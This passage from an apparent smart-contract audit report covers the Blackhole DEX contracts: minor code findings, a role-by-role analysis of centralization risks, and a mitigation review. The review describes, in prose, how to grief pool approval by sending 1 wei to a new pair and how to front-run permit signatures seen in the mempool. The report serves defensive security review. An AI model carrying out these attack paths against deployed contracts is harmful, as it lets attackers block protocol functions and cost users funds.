Implement a `canDistributeAll()` view function that simulates the loop's expected gas cost and compares it against a conservative gas limit threshold. This allows off-chain tools and frontend interfaces to pre-check if calling `distributeAll()` would likely succeed without incurring gas costs.

[08] Fee recipient may remain set to previous owner

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/CustomPoolDeployer.sol#L179

Finding description

The `setAlgebraFeeRecipient()` function allows the current owner to set a address to receive protocol fees. However, there is no automatic reset or update of the `algebraFeeRecipient` when ownership is transferred. This creates a risk where the previous owner continues to receive protocol fees even after relinquishing ownership unintentionally.

Impact

Revenue leakage: Fees meant for the protocol or new owner could be misdirected to the previous owner unintentionally.

Recommended mitigation steps

Add a `transferOwnership()` hook that also resets or revalidates sensitive roles (like fee recipient).

[09] Incorrect `setRouter` function only allows zero address to pass

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/GenesisPoolManager.sol#L313

Finding description

In the GenesisPoolManager.sol contract, the `setRouter` function has a logic flaw.

```
  function setRouter (address _router) external onlyOwner {
        require(_router == address(0), "ZA");
        router = _router;
    }
}
```

This means the function only allows setting the router address to zero, which is usually the opposite of the intended behavior.

Impact

The owner may never be able to set a valid router.

Recommended mitigation steps

Corrected code:

```
 function setRouter (address _router) external onlyOwner {
        require(_router != address(0), "ZA");
        router = _router;
    }
}
```

[10] Misaligned access control on `setTopNPools()` function

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/SetterTopNPoolsStrategy.sol#L46

Finding description

The `setTopNPools` function is responsible for updating the list of top N pool addresses in the protocol:

```
  // Allows either the owner or the AVM to update top pools
function setTopNPools(address[] memory _poolAddresses) external
onlyExecutor {
    require(_poolAddresses.length <= topN, "Exceeds topN");

    delete topNPools;

    for (uint256 i = 0; i < _poolAddresses.length; i++) {
        require(_poolAddresses[i] != address(0), "Zero address not
allowed");
        topNPools.push(_poolAddresses[i]);
    }

    emit TopNPoolsUpdated(_poolAddresses);
}
```

As per the comment, the function is intended to be callable by either the contract owner or the AVM. However, it is protected by the `onlyExecutor` modifier:

```
modifier onlyExecutor() {
    require(msg.sender == executor, "Only AVM can call");
    _;
}
```

This restricts access exclusively to the executor address, which is described as the AVM. **The contract owner is not authorized to call this function, despite the comment stating otherwise.**

Impact

Violation of Intended Access Control: The contract comment suggests that both the owner and the AVM (executor) should be allowed to update top pools. However, the current implementation violates this expectation.

Recommended mitigation steps

Change the access control modifier on `setTopNPools` from `onlyExecutor` to `onlyOwnerOrExecutor` to align with the intended permissions.

[11] Governance/centralization Risks (21 contracts covered)

Roles/Actors in the system

	CONTRACT	ROLES/ACTORS
1.	Black.sol	Minter
2.	BlackClaims.sol	Owner/Second Owner
3.	BlackGovernor.sol	- Minter - Team
4.	Bribes.sol	- Owner - Voter - GaugeManager - Minter - Avm
5.	CustomPoolDeployer.sol	- Owner - Authorized

	CONTRACT	ROLES/ACTORS
6.	CustomToken.sol	Owner
7.	Fan.sol	Owner
8.	GaugeExtraRewarder.sol	- Owner - GAUGE
9.	GaugeManager.sol	- Owner - GaugeAdmin - Governance
10.	GaugeV2.sol	- Owner - genesisManager
11.	GenesisPool.sol	- genesisManager
12.	GenesisPoolManager.sol	- Owner - Governance
13.	MinterUpgradable.sol	Team
14.	PermissionsRegistry.sol	blackMultisig
15.	RewardsDistributor.sol	Owner
16.	RouterV2.sol	Owner
17.	SetterTopNPoolsStrategy.sol	- Owner - Executor
18.	Thenian.sol	Owner
19.	TokenHandler.sol	- Governance - GenesisManager
20.	VoterV3.sol	- Owner - VoterAdmin - Governance - GenesisManager
21.	VotingEscrow.sol	- Voter - Team

Powers of each role (along with their risks)

1. In the Black.sol contract

- **Minter:** The minter role in the Black token contract holds critical authority over the token's supply lifecycle. Initially assigned to the contract deployer, the minter can perform a one-time `initialMint()` of 50 million tokens to any specified address, as well as mint arbitrary token amounts at any point via the `mint()` function. This role can also be reassigned to another address using the `setMinter()` function. Here's how he can misuse his powers:
    - Inflation attack: The minter can call `mint` (address, amount) to mint unlimited new tokens to any address. This would inflate the total supply, devalue user holdings.
    - Mint and dump attack: The minter could mint large amounts of tokens to their own address and immediately dump them on the market.This would crash the token price and exploit unsuspecting holders.
    - Secretly mint tokens to their own account: If this role is misused or compromised, the minter could secretly mint large amounts of BLACK tokens to their own address.
    - Permanently lose the minter role: The `setMinter()` function currently does not have an `address(0)` check , this can lead to the minter to set the new minter's address as `0x0`. Hence, permanently losing the minter role. This would lead to the protocol to redeploy contracts again.

2. In the BlackClaims.sol contract

- **Owner/Second Owner:** The owner has the ability to recoverERC20 tokens, set treasury, start a season, `revokeUnclaimedReward`, finalize a season, `extendClaimDuration`, report rewards and renounce ownership. This contract allows two owners to handle these functionalities. Here's how any one of them or potentially both misuse their powers:
    - One owner can renounce ownership of the other: However, a potential security risk arises if one of the owner's private keys is compromised. In such a scenario, the malicious actor could use the compromised key to call the `setOwner2()` function and change the second owner's address to one under their control. This effectively grants full control to the attacker, bypassing the intended dual-ownership security model.
    - May not ever recoverERC20 tokens: A malicious owner can just not call the `recoverERC20()` function, having the tokens locked in BlackClaims contract forever.
    - Set treasury's address to himself/or to an `address(0x0)`: The owner can claim all the unclaimed rewards of the season, and potentially send it to "his" treasury address, Moreover, the `setTreasury()` function lacks an `address(0x0)` check, the

malicious owner can potentially set an treasury to `address(0x0)` and call the `revokeUnclaimedReward()` function which will lead to the tokens to be permanently locked/lost.

- Set the start time of a Season very high: The `startSeason()` function allows the owner to set the start time of a reward season without any upper limit or sanity check on the provided timestamp. A malicious or compromised owner could abuse this by setting the start time far into the future (e.g., 100 years ahead), effectively preventing the season from ever beginning.
- Set treasury to `address(0x0)` and call `revokeUnclaimedReward()`: The malicious or compromised owner can call set the treasury to `address(0x0)` and then call the `revokeUnclaimedReward()` function, permanently loosing the funds.
- Never finalize a season: The finalize function already holds solid checks; however, there can still be a misuse of a owner to never potentially finalize a season.
- Extend claim duration to so high that the season never finalizes: The `extendClaimDuration()` function lacks checks to see if the claim duration amount is in bounds or not, the malicious or compromised owner can extend the claim duration to so high that finalization of a season will be impossible. Even if the compromised owner key is retained back to its original owner there is nothing that can be done.
- Risk of reward censorship: The `reportRewards()` function only updates the rewards for the addresses explicitly passed in, a malicious or biased owner could intentionally omit certain players from the `players_` array. As a result, those omitted players would not receive their rightful rewards, even if they earned them during the season. This introduces a risk of reward censorship.

3. In the In the BlackGovernor.sol contract

- **Minter:** The Minter role in the BlackGovernor contract is a role assigned to a smart contract. Since the role is assigned to a contract (predefined methods), no governance manipulation may be possible for this role.
- **Team:** The team role has the ability to set a proposal numerator and renounce its ownership to someone else. Here's how a user with a team role can misuse his powers:
  - Set proposal numerator to zero: The malicious or compromised user with team role can set the proposal numerator to zero, potentially allowing anyone to propose even with 0 votes.

4. In the Bribes.sol contract

- **Owner:** In the Bribes contract, the owner has the ability to set a new Voting, GaugeManager, AVM addresses. He also has the power over

`recoverERC20AndUpdateData()` and `emergencyRecoverERC20()` functions. Here's how he can misuse his powers:

  - Set malicious contracts: The owner can assign malicious contract addresses for the voter, `gaugeManager`, `bribeFactory`, or AVM; such that it benefits him, enabling backdoors or unauthorized control. These contracts could be programmed to redirect fees, manipulate votes, or extract value from user interactions — disguised as legitimate protocol behavior, but actually benefiting the malicious owner.
  - Steal rewards in the guise of recovery: The `onlyAllowed` role can invoke this function to withdraw arbitrary ERC20 tokens from the contract. They could manipulate reward accounting by subtracting `tokenAmount` from the `tokenRewardsPerEpoch`, under-reporting actual rewards. This allows them to steal reward withdraw tokens meant for user rewards under the guise of “recovery". Potentially few, or many users, might not receive their rewards, as it has been taken by the owner by the guise of recovery.

- **Voter:** No governance manipulation possible for this role since its a smart contract (predefined methods), unless the owner sets a malicious address (contract).
- **GaugeManager:** No governance manipulation possible for this role since its a smart contract (predefined methods), unless the owner sets a malicious address (contract).
- **Minter:** No governance manipulation possible for this role since its a smart contract (predefined methods), unless the owner sets a malicious address (contract).
- **Avm**: No governance manipulation possible for this role since its a smart contract (predefined methods), unless the owner sets a malicious address (contract).

5. In the CustomPoolDeployer.sol contract

- **Owner:** The owner has the ability to `addAuthorizedAccount`, `removeAuthorizedAccount`, `setPluginForPool`, `setPlugin`, `setPluginConfig`, `setFee`, `setCommunityFee`, `setAlgebraFeeRecipient`, `setAlgebraFeeManager`, `setAlgebraFeeShare`, `setAlgebraFarmingProxyPluginFactory`, `setAlgebraFactory`, `setAlgebraPluginFactory`. Here's how he can misuse his powers:
  - Backdoor privilege escalation via `addAuthorizedAccount`: The owner can maliciously add multiple alternate EOA addresses or smart contracts as authorized accounts, effectively creating hidden backdoors for retaining control. These authorized entities could automate harmful actions such as setting high fees, bypassing restrictions, or manipulating internal state. Even after ownership is transferred, the previous owner may still retain access through these accounts and manipulate functions which are still accessible to the authorized accounts. While a `removeAuthorizedAccount` function exists, the cleanup burden falls entirely on

the new owner, who must manually revoke each account — a tedious process if many were pre-added.
    - Fee manipulation via `setFee()`: A malicious owner can exploit the `setFee()` function to assign excessively high fees to a pool. This would result in an unfairly large portion of each user transaction being taken as fees, effectively discouraging usage, draining user value.
    - Deploy and set malicious factories: The owner could deploy malicious versions of these factories that generate contracts with backdoors or vulnerabilities. For example: farming Plugin Factory could redirect user rewards to the owner's address, Algebra Factory could deploy pools with manipulated fee logic or ownership traps, Plugin Factory could enable unauthorized access or data leakage.
- **Authorized:** The Authorized role has the ability to `setPluginForPool`, `setPlugin`, `setPluginConfig`, `setFee`, `setCommunityFee`. Here's how a user with a Authorized role can misuse his power:
    - Set high community fees: The protocol does not implement a cap on fees, allowing the malicious or compromised authorized role to set high fees. This does not pose much risk since the owner can just take away the authorized role from the user and set the fees properly again. However, if the owner is malicious or compromised then it's a different scenario.

6. In the CustomToken.sol contract

- **Owner:** The owner has the ability to mint and burn tokens from an account, Here's how he can misuse his powers:
    - Mint a large sum: The owner can mint a large sum into a random account to inflate the value of the token. He can even mint tokens to his personal account to have more value.
    - Burn a large sum: The owner can exploit the mint and burn functions to manipulate token supply and market value. For example, the owner could burn a significant number of tokens from user accounts to reduce total supply, artificially inflating the token's value. Simultaneously, the owner could mint a large number of tokens to their own account, allowing them to benefit from the deflationary effect they induced.

7. In the Fan.sol contract - *Note: Same as CustomToken contract (see number 6 above.)*

8. In the GaugeExtraRewarder.sol contract

- **Owner:** The owner has the ability to `recoverERC20` and `setDistributionRate`. Here's how he can misuse his powers:

    - Set an extremely low amount in `setDistributionRate`: A compromised or malicious owner can deliberately set the reward amount very low, causing the distribution rate to slow down significantly and resulting in reduced rewards that may frustrate or disincentivize users.
    - Break reward mechanism: The owner can call `recoverERC20` to withdraw any ERC20 token held by the contract, including the `rewardToken`. Even though there is a check to limit withdrawal of the `rewardToken` to the not-yet-distributed amount, the owner can still withdraw tokens that users expect as rewards; with potential to reduce or disrupt user rewards by withdrawing tokens from the contract.
- **GAUGE:** No governance manipulation possible for this role since its a smart contract (predefined methods).

9. In the GaugeManager.sol contract

- **Owner:** The owner has the ability to set the Avm address. Here's how he can misuse his powers:
    - Set a malicious contract to benefit himself: A compromised or malicious Owner sets avm to a contract that looks like a voting escrow manager but has hidden backdoors. This malicious AVM could potentially divert locked tokens to the owner.
- **GaugeAdmin:** The GaugeAdmin has the ability to `setBribeFactory`, `setPermissionsRegistry`, `setVoter`, `setGenesisManager`, `setBlackGovernor`, `setFarmingParam`, `setNewBribes`, `setInternalBribeFor`, `setExternalBribeFor`, `setMinter`, `addGaugeFactory`, `replaceGaugeFactory`, `removeGaugeFactory`, `addPairFactory`, `replacePairFactory`, `removePairFactory`, `acceptAlgebraFeeChangeProposal`. Here's how he can misuse his power:
    - Misuse critical functions: A malicious or compromised admin, having exclusive access to these functions, can misuse their powers by arbitrarily setting or replacing critical contract components such as the minter, gauge factories, and pair factories, which control key protocol behaviors like minting and gauge creation. By setting a malicious minter or injecting compromised factories, the admin could mint unlimited tokens, manipulate liquidity incentives, or redirect funds. Furthermore, the admin can unilaterally accept fee changes on Algebra pools, potentially increasing fees or redirecting revenue without community consent.
    - Arbitrarily change addresses: They can arbitrarily change the addresses of key farming contracts (`farmingCenter`, `algebraEternalFarming`, `nfpm`), potentially redirecting farming rewards or incentives to malicious contracts. Additionally, by setting or replacing internal and external bribes on any gauge, the admin can

manipulate voting incentives and reward distributions, possibly favoring certain participants or contracts unfairly. Since these settings directly influence how rewards and incentives flow within the protocol, the admin's unchecked ability to alter them creates a significant risk of abuse, including funneling rewards to themselves or collaborators, destabilizing the ecosystem, and undermining user trust.

    - Admin replaces the Bribe Factory and Permission Registry with malicious contracts: The admin, having full control, sets the `bribefactory` to a malicious contract they control. This fake bribe factory redirects all bribe rewards intended for legitimate liquidity providers or voters to the admin's own address. Meanwhile, the admin also replaces the `permissionRegistry` with a contract that falsely approves only their own addresses or bots for privileged actions, effectively locking out honest participants. With the voter contract replaced by one that the admin controls, they can manipulate governance votes or decisions, passing proposals that benefit themselves or their allies, like lowering fees or minting tokens unfairly. At the same time, the admin sets `blackGovernor` to their own address, giving them the power to block or censor any proposals or actions from other users, consolidating full control over governance.

- **Governance:** The governance role has the ability to revive and kill a gauge. Here's how he can misuse his powers:

    - Kill gauges with malicious intent: A malicious governance actor can intentionally kill legitimate gauges under the pretense that they are "malicious", using the `killGauge` function. Since there is no on-chain validation of malicious behavior in the function itself, just a check that `isAlive[_gauge]` is true—they can arbitrarily target any active gauge.

10. In the GaugeV2.sol contract

- **Owner:** The owner has the ability to `setDistribution`, `setGaugeRewarder`, `setInternalBribe`, `activateEmergencyMode`, `stopEmergencyMode` and `setGenesisPoolManager`. Here's how he can misuse his powers;

    - A malicious owner could stealthily redirect critical reward and bribe flows to attacker-controlled contracts by setting the internal bribe, gauge rewarder, and distribution addresses to malicious contracts. They could also consolidate control by assigning the genesis pool manager to themselves or colluding contracts, gaining influence over early-stage pools and rewards. Additionally, the owner can arbitrarily trigger and stop emergency mode, halting or manipulating protocol operations to stall users while executing self-serving upgrades or migrations. This unchecked power enables fund diversion, governance capture, loss of user trust, and backdoor control of key system parameters without any DAO or governance oversight, posing severe risks to protocol integrity and participant fairness.

- **GenesisManager:** The GenesisManager has the ability to set pools, Here's how he can misuse his power:
    - Setting as `address(0)`: A compromised or malicious owner can set the Genesis Pool Manager to the zero address (`address(0)`), as the `setGenesisPoolManager()` function lacks a validation check to prevent this. This could disable or break core protocol functionality that depends on the genesis manager.

11. In the GenesisPool.sol contract

- **genesisManager:** The genesisManager has the ability to `setGenesisPoolInfo`, `rejectPool`, `approvePool`, `depositToken`, `transferIncentives`, `setPoolStatus`, `launch`, `setAuction`, `setMaturityTime` and `setStartTime`. Here's how he can misuse his powers:
    - Set arbitrary parameters: The manager can misuse their role in `setGenesisPoolInfo` by providing malicious or incorrect input values since the function lacks proper input validation checks on critical parameters such as `genesisInfo`, `allocationInfo`, and `auction`. This enables the manager to set arbitrary genesis configurations, manipulate token allocation amounts, or assign a malicious `auction` contract that could siphon funds or behave unfairly.
    - Reject pools arbitrarily: The manager can call `rejectPool()` to mark any pool as `NOT_QUALIFIED` prematurely, blocking legitimate pools from proceeding and unfairly refunding proposed native tokens, potentially disrupting or censoring projects.
    - Approve malicious or fake pools: Using `approvePool()`, the manager can approve pools with fake or attacker-controlled pair addresses (`_pairAddress`), enabling front-running, rug pulls, or other malicious activities disguised as legitimate pools.
    - Manipulate deposits: In `depositToken()`, the manager controls when deposits are accepted (by controlling `poolStatus` and `genesisInfo.startTime`) and can arbitrarily restrict or allow deposits, effectively censoring or favoring certain users.
    - `setPoolStatus` to any pools without secondary authorization: The genesisManager can randomly set any pool's status to "NOT QUALIFIED". The protocol should implement a secondary role to make sure all interactions of genesisManager are appropriate or not.
    - Set a very high maturity: A compromised or malicious genesisManager can set a very high maturity time, the protocol does not implement an check to ensure that the maturity time is in bounds or not, making this scenario possible.

12. In the GenesisPoolManager.sol contract

- **Owner:** The owner has the ability to set a router. Here's how he can misuse his powers:

    - The current implementation of the code is incorrect, it only allows `address(0)` to be passed via `setRouter()` function, already favors the compromised or malicious owner.
- **Governance:** The Governance role has the ability to `whiteListUserAndToken`, `depositNativeToken`, `rejectGenesisPool`, `approveGenesisPool`, `setAuction`, `setEpochController`, `setMinimumDuration`, `setMinimumThreshold`, `setMaturityTime` and `setGenesisStartTime`. Here's how he can misuse his powers:
    - Whitelisting arbitrary tokens or users (backdoor access): By calling `whiteListUserAndToken` (`proposedToken`, `tokenOwner`), governance can whitelist unvetted or malicious tokens and users.
    - Approving fraudulent or unqualified pools: Governance can approve a genesis pool (`approveGenesisPool`) regardless of community consensus or the token's legitimacy. The function only checks a few conditions like balance and duration, but there's no check on project credibility or voting outcome.The Governor can even approve pools which benefits him(a cut directed to his address on every transaction that takes place.)
    - Silencing legitimate pools via rejection: By calling `rejectGenesisPool` (`nativeToken`), governance can deliberately shut down valid pools, sabotaging competitor projects.

      Note: Additionally all governance functions can be executed immediately with no time lock, delay, or DAO-based confirmation.
    - `setGenesisStartTime` to years: The compromised or malicious governor can set the genesis start time to a long duration, such that genesis never begins.

13. In the MinterUpgradable.sol contract

- **Team:** The team role has the ability to set gauge manager and set team rate. Here's how he can misuse his powers:
    - Set malicious `gaugeManager` contract: A compromised or malicious user with the team role can pass in a malicious `gaugeManager` address such that it benefits him (e.g., Gauge emissions can be routed to attacker wallets).
    - Set team rate as Zero: Setting this as 0 would lead to the `teamEmissions` be transferred to the team as 0 every time `update_period` is called once every week.

14. In the PermissionsRegistry.sol contract

- **blackMultisig:** This role has the ability to `addRole`, `removeRole`, `setRoleFor`, `removeRoleFrom`, `setEmergencyCouncil` and `setBlackMultisig`. Here's how he can misuse his powers:

- Add arbitrary roles: The multisig can create meaningless or deceptive roles like, `SUPER_ADMIN` or `UNLIMITED_MINTER` — misleading names that may imply more power. Duplicate logical roles with different names (`GAUGE_ADMIN` vs `GaugeAdmin`).
- Assign roles to malicious addresses: Assign critical roles (e.g., `MINTER`, `GAUGE_ADMIN`, `ROUTER_SETTER`, etc.) to an EOA owned by attacker, Malicious contract or rotate them silently over time.

15. In the RewardsDistributor.sol contract

- **Owner:** The owner has the ability to `setDepositor`, `withdrawERC20`, `setAVM` and renounce his ownership. Here's how he can misuse his powers:
  - Silent draining: Owner can drain any ERC-20 token held by the contract at any time, He can do this silently since no event is emitted when the owner withdraws erc20 tokens.
  - Set a malicious avm: As stated in my previous governance risks, the owner can set a malicious avm address such that it benefits him. This is a direct setting; there is no external validation by any other sources that the avm address set by the owner is actually valid or not.

16. In the RouterV2.sol contract

- **Owner:** The owner has the ability to `setSwapRouter`, `setAlgebraFactory`, `setQuoterV2`, `setAlgebraPoolAPI`. Here's how he can misuse his powers:
  - Malicious router: Owner sets `swapRouter` to a malicious contract that, front-runs user swaps by manipulating pricing logic, steals tokens during swaps by redirecting `transferFrom` to self and overrides routing logic to siphon fees to themselves.
  - Set a fake Algebra Factory: Owner sets a fake factory that, creates fake pools with manipulated or spoofed token addresses.
  - Set malicious `setAlgebraPoolAPI`: If this API contract stores sensitive pool metadata (e.g., fee config, pool status, time-weighted data). Owner can redirect it to a contract that lies about past data which could affect, time-weighted average price (TWAP), fee growth history and Oracle usage.

17. In the SetterTopNPoolsStrategy.sol contract

- **Owner:** The owner has the ability to set a avm address. Here's how he can misuse his powers:
  - Set a malicious avm: As stated in my previous governance risks, the owner can set a malicious avm address such that it benefits him. This is an direct setting; there is no external validation by any other sources that the avm address set by the owner is actually valid or not.

- **Executor:** The executor role has the ability to `setTopNPools`. Here's how he can misuse his powers:
    - The executor sets top pools to low-volume, illiquid, or fake pools that they own or control, have no real trading activity, inflate stats or visibility. These pools could then attract volume, wrongly perceived as top pools, to receive higher incentives or emissions and trick users or LPs into providing liquidity or trading, leading to loss.

18. In the Thenian.sol contract

- **Owner:** The owner has the ability to withdraw, `setRoot`, `setNftPrice` and `reserveNFTs`. Here's how he can misuse his powers:
    - Rug pull: Owner can withdraw all ETH (e.g. mint proceeds) to any `multiSig` they control, leaving users who paid for NFTs with nothing in return.
    - Increase price: Owner can dynamically raise the price after users are onboarded or committed, or lower the price for themselves or insiders after initial hype.
    - Owner can mint NFTs to themselves or insiders, before any public sale (sniping rare tokens), without paying in bulk to flip on secondary markets.

19. In the TokenHandler.sol contract

- **Governance:** The governance role has the ability to `setPermissionsRegistry`, `whitelistTokens`, `whitelistToken`, `blacklistTokens`, `whitelistNFT`, `blacklistNFT`, `whitelistConnectors`, `whitelistConnector`, `blacklistConnector`, `setBucketType`, `updateTokenVolatilityBucket`. Here's how he can misuse his powers:
    - The primary governance risk across these functions lies in the potential abuse of role-based control. A malicious governance actor could assign critical roles (e.g., connector tokens, whitelisted NFTs) to unauthorized or malicious addresses in exchange for bribes or personal gain. This could lead to privileged access, unfair trading advantages, or manipulation of protocol logic. Similarly, by removing or blacklisting legitimate entries, governance could censor users or competitors, undermining the fairness and neutrality of the protocol.
    - `whitelistNFT`/`blacklistNFT`: The governance can misuse this by selectively whitelisting NFTs they own, allowing them to access exclusive features such as staking rewards, airdrops, or protocol privileges. Conversely, they could blacklist legitimate user NFTs to exclude them from benefits, creating unfair advantages or censorship.
    - `whitelistConnector`/`whitelistConnectors`: These functions allow governance to mark certain tokens as routing connectors, which can significantly influence DEX trading paths. A malicious actor could whitelist low-liquidity, high-fee, or

malicious tokens to manipulate swaps, favor certain assets, or enable exploitative routing for personal gain.
    - `blacklistConnector`: By blacklisting a connector, governance can disrupt the routing mechanism and effectively remove a token from trading paths. This could be used to block competitor tokens, harm projects that don't align with governance interests, or censor tokens used widely by users, reducing decentralization and fairness.
    - `setBucketType`: This function allows governance to define or redefine the volatility bucket of tokens, potentially affecting their fee rates, risk handling, or trading logic. A dishonest actor could classify risky tokens as low-risk to game the system, offer misleading yields, or misrepresent token safety to users.
- **GenesisManager:** Has similar but limited access as compared to governance. Thus, the risks remain same for both.

20. In the VoterV3.sol

- **Owner:** Does not have much access in this contract, but has the ability to set an epoch owner.
    - Does not contain much risk (except that he can set it to a malicious address).
- **VoterAdmin:** The voter admin has the ability to `setPermissionsRegistry`, `setMaxVotingNum`, `setAVM`. Here's how he can misuse his powers:
    - In the `setPermissionsRegistry` function, the VoterAdmin can set a new `permissionRegistry` contract. If misused, they could point it to a malicious or manipulated contract that disables or weakens access control checks. This could allow unauthorized gauge creation, voting participation, or protocol interactions that would normally be restricted, effectively undermining governance integrity and enabling privilege escalation.
    - Through the `setMaxVotingNum` function, the VoterAdmin can adjust the maximum number of pools or items a user can vote on. While this is intended for flexibility, an abusive admin could set this value excessively high or low. A very high value could spam or overload the system, potentially exhausting gas or storage, while a low value could limit voter effectiveness, censor specific users or preferences, and bias the outcome of votes.
    - The `setAVM` function allows the admin to assign the Auto Voting Manager (avm) by fetching it from the Voting Escrow contract. If `_ve` is compromised or misconfigured, this function could silently redirect AVM privileges to an untrusted actor. This risks vote automation being controlled by a malicious contract, allowing votes to be cast or overridden without user consent, compromising the fairness of governance.

- **Governance:** Modifier is defined in this contract, but has no access to any of the functions.
- **GenesisManager:** Modifier is defined in this contract, but has no access to any of the functions.

21. In the VotingEscrow.sol contract

- **Team:** Has the ability to `setArtProxy`, `setAVM`, `toggleSplit`, `setSmNFTBonus`. Here's how he can misuse his powers:
    - `setArtProxy` (address proxy): The team can change the art rendering proxy to a malicious or broken contract. This can result in NFTs displaying incorrect metadata or art, potentially misleading users or damaging the visual and branding integrity of the collection. If metadata is dynamic and depends on this proxy, they could also encode hidden traits, tracking, or backdoors.
    - `setAVM` (address avm): By changing the Auto Voting Manager (AVM) to a manipulated contract, the team can automate votes in favor of their interests. This undermines fair governance by enabling vote hijacking, centralized decision-making, or even bribe-taking via scripted AVM behavior that does not reflect real user preferences.
    - `toggleSplit` (bool state): This function may control whether NFTs can be split (e.g., fractionalized or split into sub-assets). Maliciously toggling this could disrupt NFT functionality, cause loss of composability or break integrations with platforms. Re-enabling or disabling split arbitrarily can be used to lock users out of expected functionality or manipulate secondary market behavior.
    - `setSmNFTBonus` (uint bonus): This sets the bonus for special SM NFTs. If the team assigns excessively high bonuses, they can create unfair yield or voting power advantages for themselves or insiders holding those NFTs. This distorts protocol incentives and governance, allowing the team to indirectly accumulate more control or rewards.

[12] Function declaration does not follow Solidity style guide at `FixedAuction.sol`

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/FixedAuction.sol#L14

Finding description

The `initialize()` function in the contract is written as follows:

```
function initialize() initializer  public {
    __Ownable_init();
}
```

This implementation does not conform to Solidity style guide and general best practices, particularly regarding code formatting, visibility placement, and readability.

Visibility placement order: According to the Solidity style guide (and common conventions), the order of function modifiers should follow this structure:

```
function <name>(...) [external|public|internal|private]
[pure|view|payable] [modifiers]
```

In the current code, initializer is placed before public, which is unconventional and affects readability:

```
function initialize() initializer public {  // Incorrect order
```

Impact

Does not follow the official solidity's style guide.

Recommended mitigation steps

Recommended order:

```
function initialize() public initializer {
```

[13] Incorrect require statement for address check at `GaugeV2.sol`

https://github.com/code-423n4/2025-05-blackhole/blob/92fff849d3b266e609e6d63478c4164d9f608e91/contracts/GaugeV2.sol#L139

Finding description

The function `setInternalBribe` allows the contract owner to update the address of the internal bribe contract, which is used to receive fees:

```
function setInternalBribe(address _int) external onlyOwner {
```

```
        require(_int >= address(0), "ZA"); //@audit incorrect require
    statement
        internal_bribe = _int;
    }
```

The purpose of the `require` statement is to prevent setting an invalid address, particularly the zero address, which would disable fee forwarding. However, the current implementation does allow this.

Impact

- Ineffective validation: The condition `require(_int >= address(0), "ZA");` is always true in Solidity because addresses are unsigned integers and cannot be less than zero.
- Zero address allowed: This means the zero address (`address(0)`) can be assigned unintentionally, potentially redirecting fees to the zero address and causing permanent loss of funds.

Recommended mitigation steps

Corrected Code:

```
function setInternalBribe(address _int) external onlyOwner {
    require(_int != address(0), "ZA"); // Corrected Version
    internal_bribe = _int;
}
```

Mitigation Review

Introduction

Following the C4 audit, 3 wardens (rayss, lonelybones and maxzuvex) reviewed the mitigations for all identified issues. Additional details can be found within the C4 Blackhole Mitigation Review repository.

Mitigation Review Scope & Summary

During the mitigation review, the wardens determined that 2 in-scope findings from the original audit were not fully mitigated. The table below provides details regarding the status of each in-scope vulnerability from the original audit, followed by full details on the in-scope vulnerabilities that were not fully mitigated.

ORIGINAL ISSUE	STATUS
H-01	🟢 Mitigation Confirmed
H-02	🟢 Mitigation Confirmed
M-01	🟢 Mitigation Confirmed
M-02	🟢 Mitigation Confirmed
M-03	🟢 Mitigation Confirmed
M-04	🟢 Mitigation Confirmed
M-05	🔴 Unmitigated
M-06	🟢 Mitigation Confirmed
M-07	🟢 Mitigation Confirmed
M-08	🟢 Mitigation Confirmed
M-09	🟢 Mitigation Confirmed
M-10	🔴 Unmitigated
M-11	🟢 Mitigation Confirmed
M-14	🟢 Mitigation Confirmed
M-15	🟢 Mitigation Confirmed
M-16	🟢 Mitigation Confirmed
M-17	🟢 Mitigation Confirmed
M-18	🟢 Mitigation Confirmed
M-19	🟢 Mitigation Confirmed
M-20	🟢 Mitigation Confirmed
M-21	🟢 Mitigation Confirmed
ADD-01	🟢 Mitigation Confirmed
ADD-02	🟢 Mitigation Confirmed

[M-05] Unmitigated

Submitted by rayss, also found by lonelybones and maxvzuvex.

https://github.com/BlackHoleDEX/SmartContracts/blob/7b5c04a9b91a4f11063f4d403b97f5ec97a21600/contracts/GenesisPoolManager.sol#L174

Finding description

The S-122 issue's duplicate S-348 highlights that in the GenesisPool approval process an insecure balance check used during `approveGenesisPool`. After a whitelisted user calls `depositNativeToken` to initialize a GenesisPool, anyone observing this data can preemptively create the same pair via PairFactory and send a minimal amount (even 1 wei) of the fundingToken directly to the pair contract. When governance later attempts to approve the pool, the function checks that both the nativeTokenandfundingTokenbalances at the pair address are zero. If either balance is non-zero—due to direct token transfers—the approval fails with a!ZV` revert. This allows malicious actors to grief or brick the approval process at negligible cost.

The new mitigation in the `depositNativeToken` and `approveGenesisPool`:

In the `depositNativeToken`:

```
            if (pairAddress == address(0)) {
            pairAddress = pairFactory.createPair(nativeToken,
_fundingToken, _stable);
        } else {
            require(IERC20(nativeToken).balanceOf(pairAddress) == 0,
"!ZV");
            require(IERC20(_fundingToken).balanceOf(pairAddress) == 0,
"!ZV");
        }
        pairFactory.setGenesisStatus(pairAddress, true);
```

In the `approveGenesisPool`:

```
    require(IERC20(nativeToken).balanceOf(pairAddress) == 0, "!ZV");Add
commentMore actions
        require(IERC20(genesisInfo.fundingToken).balanceOf(pairAddress)
== 0, "!ZV");
```

The issue remains unmitigated even for this (but in a different attack path than the review I stated for S-122). Let's understand this via a example:

User calls the `depositNativeToken`. The pair address is not created so it enters the if block and calls `createPair()` function.

Now after this step, the attacker views the transactions in the mempool via a coreth node and sees that a pair has been created, he quickly sends 1 wei to the `pairAddress` before the `approveGenesisPool()` function is called.

Now when the `approveGenesisPool()` is called it has this check:

```
  require(IERC20(nativeToken).balanceOf(pairAddress) == 0, "!ZV");Add
commentMore actions
        require(IERC20(genesisInfo.fundingToken).balanceOf(pairAddress)
== 0, "!ZV");
```

Which will revert. Leading to the Dos of the `approveGenesisPool`. Hence, leading to the issue to be remained unmitigated.

[M-10] Unmitigated

Submitted by rayss, also found by lonelybones.

https://github.com/BlackHoleDEX/SmartContracts/blob/7b5c04a9b91a4f11063f4d403b97f5ec97a21600/contracts/RouterV2.sol#L726

Finding description

This issue demonstrates that in the `removeLiquidityWithPermit()` and `removeLiquidityETHWithPermit()` functions in RouterV2, which unconditionally call `permit()` without proper error handling. This allows an attacker to front-run the permit signature (extracted from the `mempool`), causing the original transaction to revert and resulting in gas fee loss for the user.

